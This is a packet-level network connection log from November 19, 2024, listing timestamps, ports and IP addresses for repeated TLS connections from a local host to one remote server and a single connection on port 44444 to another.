Nov 19, 2024 18:56:31.045911074 CET	50007	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.045934916 CET	443	50007	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.046135902 CET	50007	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.046822071 CET	50007	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.046837091 CET	443	50007	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.879652023 CET	443	50007	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.879888058 CET	50007	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.887478113 CET	50007	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.887506962 CET	443	50007	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.887744904 CET	443	50007	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:31.888660908 CET	50007	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:31.931344986 CET	443	50007	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:32.250771999 CET	443	50007	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:32.250839949 CET	443	50007	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:32.250897884 CET	50007	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:32.310795069 CET	50015	44444	192.168.2.4	195.19.105.66
Nov 19, 2024 18:56:32.315702915 CET	44444	50015	195.19.105.66	192.168.2.4
Nov 19, 2024 18:56:32.315774918 CET	50015	44444	192.168.2.4	195.19.105.66
Nov 19, 2024 18:56:32.316001892 CET	50015	44444	192.168.2.4	195.19.105.66
Nov 19, 2024 18:56:32.316087961 CET	50015	44444	192.168.2.4	195.19.105.66
Nov 19, 2024 18:56:32.316554070 CET	50007	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:32.316562891 CET	443	50007	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:32.316922903 CET	50015	44444	192.168.2.4	195.19.105.66
Nov 19, 2024 18:56:32.320880890 CET	44444	50015	195.19.105.66	192.168.2.4
Nov 19, 2024 18:56:32.321712971 CET	44444	50015	195.19.105.66	192.168.2.4
Nov 19, 2024 18:56:32.330523968 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:32.330545902 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:32.330764055 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:32.331176996 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:32.331192970 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.008419037 CET	44444	50015	195.19.105.66	192.168.2.4
Nov 19, 2024 18:56:33.041449070 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.041574001 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.044703960 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.044734001 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.045075893 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.046071053 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.046108961 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.046124935 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.046727896 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.046993971 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.047004938 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.064311981 CET	50015	44444	192.168.2.4	195.19.105.66
Nov 19, 2024 18:56:33.211076021 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.251373053 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.423501015 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.423558950 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.423669100 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.423722982 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.434662104 CET	50018	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.434683084 CET	443	50018	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.710283041 CET	50015	44444	192.168.2.4	195.19.105.66
Nov 19, 2024 18:56:33.715300083 CET	50027	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.715348959 CET	443	50027	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:33.715547085 CET	50027	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.715850115 CET	44444	50015	195.19.105.66	192.168.2.4
Nov 19, 2024 18:56:33.715919018 CET	50015	44444	192.168.2.4	195.19.105.66
Nov 19, 2024 18:56:33.716293097 CET	50027	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:33.716310978 CET	443	50027	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:34.457914114 CET	443	50027	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:34.459328890 CET	50027	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:34.460829020 CET	50027	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:34.460839033 CET	443	50027	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:34.461157084 CET	443	50027	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:34.463331938 CET	50027	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:34.463331938 CET	50027	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:34.463485956 CET	443	50027	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:34.463519096 CET	443	50027	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:34.464247942 CET	50027	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:34.464247942 CET	50027	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:34.492790937 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:34.492841959 CET	443	50038	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:34.493386030 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:34.493386030 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:34.493432045 CET	443	50038	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:35.294395924 CET	443	50038	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:35.294471025 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.296457052 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.296466112 CET	443	50038	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:35.296797037 CET	443	50038	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:35.297595978 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.302928925 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.303011894 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.303086996 CET	443	50038	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:35.303281069 CET	443	50038	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:35.303328991 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.303335905 CET	443	50038	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:35.303399086 CET	50038	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.345899105 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.345953941 CET	443	50046	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:35.346026897 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.346781969 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:35.346797943 CET	443	50046	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:36.145831108 CET	443	50046	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:36.145942926 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.147238970 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.147247076 CET	443	50046	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:36.147599936 CET	443	50046	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:36.148389101 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.149487019 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.149524927 CET	443	50046	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:36.149735928 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.149758101 CET	443	50046	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:36.149796963 CET	443	50046	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:36.149808884 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.149842024 CET	50046	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.170864105 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.170893908 CET	443	50054	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:36.171005964 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.171524048 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:36.171535969 CET	443	50054	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:37.187155962 CET	443	50054	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:37.187237024 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.188492060 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.188499928 CET	443	50054	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:37.188827038 CET	443	50054	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:37.189584017 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.190138102 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.190171957 CET	443	50054	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:37.190299034 CET	443	50054	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:37.190341949 CET	443	50054	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:37.190361977 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.190371990 CET	443	50054	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:37.190382957 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.190399885 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.190428972 CET	50054	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.250469923 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.250519037 CET	443	50062	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:37.250638008 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.251101017 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:37.251112938 CET	443	50062	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.022288084 CET	443	50062	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.022388935 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.024012089 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.024034977 CET	443	50062	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.024405003 CET	443	50062	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.025100946 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.030510902 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.030539036 CET	443	50062	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.030595064 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.030642033 CET	443	50062	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.030669928 CET	443	50062	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.030848980 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.030849934 CET	50062	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.125117064 CET	50071	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.125160933 CET	443	50071	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.125390053 CET	50071	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.126032114 CET	50071	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.126046896 CET	443	50071	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.925710917 CET	443	50071	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.925808907 CET	50071	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.927186966 CET	50071	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.927197933 CET	443	50071	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.927462101 CET	443	50071	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.928081989 CET	50071	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.929374933 CET	50071	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.929403067 CET	443	50071	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.929502964 CET	443	50071	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.929527044 CET	443	50071	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:38.929613113 CET	50071	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:38.929703951 CET	50071	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.045114994 CET	50081	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.045156002 CET	443	50081	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:39.045289040 CET	50081	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.045753956 CET	50081	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.045769930 CET	443	50081	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:39.879833937 CET	443	50081	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:39.879973888 CET	50081	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.881341934 CET	50081	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.881350040 CET	443	50081	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:39.881608009 CET	443	50081	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:39.882461071 CET	50081	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.882535934 CET	50081	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.882582903 CET	443	50081	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:39.882611990 CET	443	50081	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:39.882702112 CET	50081	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.882702112 CET	50081	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.907947063 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.907963037 CET	443	50089	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:39.908046007 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.908554077 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:39.908566952 CET	443	50089	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:40.714493990 CET	443	50089	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:40.714564085 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.729618073 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.729629993 CET	443	50089	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:40.729904890 CET	443	50089	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:40.730920076 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.732094049 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.732125998 CET	443	50089	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:40.732153893 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.732239008 CET	443	50089	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:40.732270002 CET	443	50089	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:40.732300997 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.732348919 CET	50089	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.901814938 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.901844025 CET	443	50098	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:40.901951075 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.902524948 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:40.902535915 CET	443	50098	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:41.618244886 CET	443	50098	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:41.618381977 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.619721889 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.619738102 CET	443	50098	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:41.619982004 CET	443	50098	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:41.620688915 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.621545076 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.621573925 CET	443	50098	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:41.621691942 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.621695042 CET	443	50098	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:41.621727943 CET	443	50098	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:41.621793032 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.621813059 CET	50098	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.707458019 CET	50103	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.707508087 CET	443	50103	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:41.707786083 CET	50103	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.708611012 CET	50103	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:41.708636045 CET	443	50103	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:42.443546057 CET	443	50103	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:42.443620920 CET	50103	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:42.444999933 CET	50103	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:42.445017099 CET	443	50103	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:42.445280075 CET	443	50103	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:42.445898056 CET	50103	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:42.446146965 CET	50103	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:42.446177006 CET	443	50103	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:42.446283102 CET	443	50103	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:42.446331978 CET	443	50103	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:42.446378946 CET	50103	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:42.446480036 CET	50103	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:42.453452110 CET	50106	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:42.453500986 CET	443	50106	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:42.453623056 CET	50106	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:42.454036951 CET	50106	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:42.454049110 CET	443	50106	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:43.181524992 CET	443	50106	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:43.181675911 CET	50106	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:43.182883978 CET	50106	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:43.182894945 CET	443	50106	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:43.183128119 CET	443	50106	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:43.184086084 CET	50106	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:43.185072899 CET	50106	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:43.185096979 CET	443	50106	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:43.185208082 CET	443	50106	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:43.185256958 CET	443	50106	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:43.185308933 CET	50106	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:43.185467005 CET	50106	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:43.271471024 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:43.271514893 CET	443	50109	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:43.271595955 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:43.272105932 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:43.272125006 CET	443	50109	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.078733921 CET	443	50109	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.081238985 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.082684994 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.082691908 CET	443	50109	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.082971096 CET	443	50109	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.084171057 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.085338116 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.085666895 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.085680008 CET	443	50109	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.085869074 CET	443	50109	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.085903883 CET	443	50109	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.085973978 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.085973978 CET	50109	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.159219027 CET	50112	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.159244061 CET	443	50112	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.159423113 CET	50112	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.160718918 CET	50112	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.160732985 CET	443	50112	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.879462004 CET	443	50112	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.879538059 CET	50112	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.880867958 CET	50112	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.880872965 CET	443	50112	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.881112099 CET	443	50112	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.881721973 CET	50112	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.882019043 CET	50112	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.882044077 CET	443	50112	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.882133961 CET	443	50112	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.882160902 CET	443	50112	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.882257938 CET	50112	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.882257938 CET	50112	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.889156103 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.889192104 CET	443	50115	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:44.889301062 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.889700890 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:44.889734030 CET	443	50115	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:45.690321922 CET	443	50115	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:45.690485001 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.691801071 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.691816092 CET	443	50115	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:45.692666054 CET	443	50115	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:45.693283081 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.694504023 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.694535971 CET	443	50115	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:45.694653034 CET	443	50115	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:45.694655895 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.694693089 CET	443	50115	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:45.694749117 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.694864035 CET	50115	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.726974964 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.727025986 CET	443	50118	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:45.727354050 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.727817059 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:45.727834940 CET	443	50118	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:46.446964979 CET	443	50118	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:46.447037935 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.448410034 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.448424101 CET	443	50118	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:46.448668003 CET	443	50118	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:46.449448109 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.449712038 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.449740887 CET	443	50118	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:46.449799061 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.449837923 CET	443	50118	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:46.449866056 CET	443	50118	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:46.449896097 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.449923992 CET	50118	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.456825018 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.456909895 CET	443	50121	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:46.456986904 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.457854986 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:46.457894087 CET	443	50121	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:47.261342049 CET	443	50121	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:47.261415958 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:47.262825012 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:47.262845039 CET	443	50121	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:47.263111115 CET	443	50121	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:47.263757944 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:47.264012098 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:47.264054060 CET	443	50121	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:47.264112949 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:47.264164925 CET	443	50121	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:47.264192104 CET	443	50121	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:47.264238119 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:47.264254093 CET	50121	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:47.272670984 CET	50124	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:47.272705078 CET	443	50124	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:47.272764921 CET	50124	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:47.273211956 CET	50124	443	192.168.2.4	212.193.169.65
